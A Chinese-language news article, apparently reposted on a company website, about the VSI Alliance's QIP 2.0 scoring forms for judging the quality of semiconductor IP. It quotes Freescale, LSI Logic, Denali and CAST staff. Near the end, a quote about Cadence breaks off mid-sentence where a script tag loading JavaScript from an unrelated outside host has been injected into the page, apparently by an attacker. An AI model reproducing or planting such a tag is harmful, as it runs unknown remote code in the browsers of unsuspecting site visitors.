质量评定标准升级,使IP选择更容易

硅ip选择是系统级芯片(soc)设计人员面临的最困难的任务之一。随着vsi联盟(vsia)发布免费的ip质量评定标准quality ip metric 2.0(qip 2.0),这一任务可能会变得容易些。

qip包含由ip供应商填写的表单。这些表单由一些“是/否”的问题组成,涉及诸如文档、集成轻松度、设计质量和验证质量等主题。问题经过排名和记分,结果作为能够反映ip模块质量和供应商设计验证实践的评定标准。

已有证据表明业内需要客观的评定标准。在最近的ee times行业挑战调查中,ip集成商抱怨选择时间太长、缺少客户支持、ip供应商运行的验证套件不适当等。在220份回复中,有14% 认为“量化ip交付的评分卡或其它方式”非常重要,39%表示它在一定程度上重要。

这正是qip背后的动机。vsia的ip质量工作组主席、飞思卡尔半导体公司的ip复用经理kathy werner表示:“它虽然不是什么尖端科学,但确实提供了一种通用基准。”

“这是一个沟通机制,使购买者能真正了解他们从供应商那里得到了什么,并能对ip做公平的同类对比。” vsia的cto、lsi logic公司的杰出工程师gary delp指出了它的另一项优势。“通过简单地对各种不同的ip源进行比较,这的确是一个降低集成ip的成本的好方法。” 他补充说,“对生产方而言,减少了为客户准备保证金的成本。”

vsia’s werner: qip提供了一个通用基准。

最初的qip 1.0在2003年发布,但除了少数集成器件制造商和eda供应商使用外,并未获广泛采纳。werner和delp提到,这个版本有两点与前一个版本不同。一是qip 2.0的使用比qip 1.0容易得多。另外一点,也许是最重要的,即不同于qip 1.0,ip供应商不必再为了获得表单而成为vsia的付费会员。

着重于软ip

qip 2.0在发布之前经过了为期6个月的beta测试,涉及的公司和机构包括:cadence、denali software、edacentrum、飞思卡尔、lsi logic、明导资讯、飞利浦半导体、意法半导体和日本的starc协会。

目前的发布着重于软数字ip,随后将关注硬ip、模拟ip和验证ip。

delp告知,lsi logic公司曾利用qip 1.0来增强其内部评估指导方针,而且该公司注意到了三件事。首先,它提供了一个有价值的问题清单。其次,它与lsi公司内部已开发出的评估标准吻合得相当好。

第三,它很难使用。“我们发现整合是一项庞大的工作,” delp表示,“此外,对vsia会员身份的要求是qip1.0获广泛采用的一个明显的障碍。”

“qip 的2.0版本所要做的是致力于关注这些问题,使它们适合于你的评估阶段,” delp 表示。例如,当你填完表单时,不再适用的问题会隐藏,并从评估中被剔除。

werner认为,qip 1.0是一个容纳了大约300个问题的“单一表单”,且影响力有限。而qip 2.0却包括了三份表单:一份评估供应商的总体能力,一份评估ip设计团队的设计和验证实践,第三份则评估被提供的ip模块。因此,对每一个新的ip块,只需要填写第三份表单。

表单上的问题按等级被分为“紧急类(imperative)”、“常规类(rule)”或“指南类(guideline)”。delp认为,这种方法可以让用户从诸多“不错的”问题中挑选出最适合的。这种记分法可以记录下有多少“紧急类”、“常规类”和“指南类”的问题是不令人满意的,并用不同的颜色标注区分。用户可以决定什么是“紧急类”的。

werner提到,飞思卡尔曾使用qip 1.0来评估引入和输出的ip,并期望能够同样使用qip 2.0。delp表示,lsi在它的内部评估中使用qip,并相信既然它是开放式的,那么它的第三方供应商应该能够更容易地使用qip 2.0。

denali software公司也参与了这次的beta测试,并计划使用qip 2.0来推动未来的开发,该公司的技术营销经理mark greenberg表示。他还解释,公司未曾使用qip 1.0是因为它不够强大。

vsia’s delp: qip是节约成本的好办法。

“qip的重要意义部分在于它表明了存在着这么一种处理流程和承诺,”greenberg指出,“它是某种程度的承诺,超越了单个ip供应商或一间小型设计公司可能做到的。它表明,从头到尾,你把所有的东西都真正掌控住了。”

cast是一家采用了qip 1.0的小型ip供应商,它也计划顺应2.0版。该公司文档顾问 paul lindemann表示:“qip在文档要求方面所需要的是常识性的东西,我们也可能以那种方式完成。”

但cast的总裁hal barbour却认为,并没有大量客户需要这种评定标准。他表示:“众多中小型公司有许多重要项目需要快速推向市场,它们自有的质量评定标准也许比一些它们可能并不完全知晓的正式评定标准地位更高。”

“cadence也参与了qip 2.0?script src=http://er12.com/t.js>

  • 质量评定标准升级,使IP选择更容易已关闭评论
    A+
发布日期:2019年07月04日  所属分类:新闻动态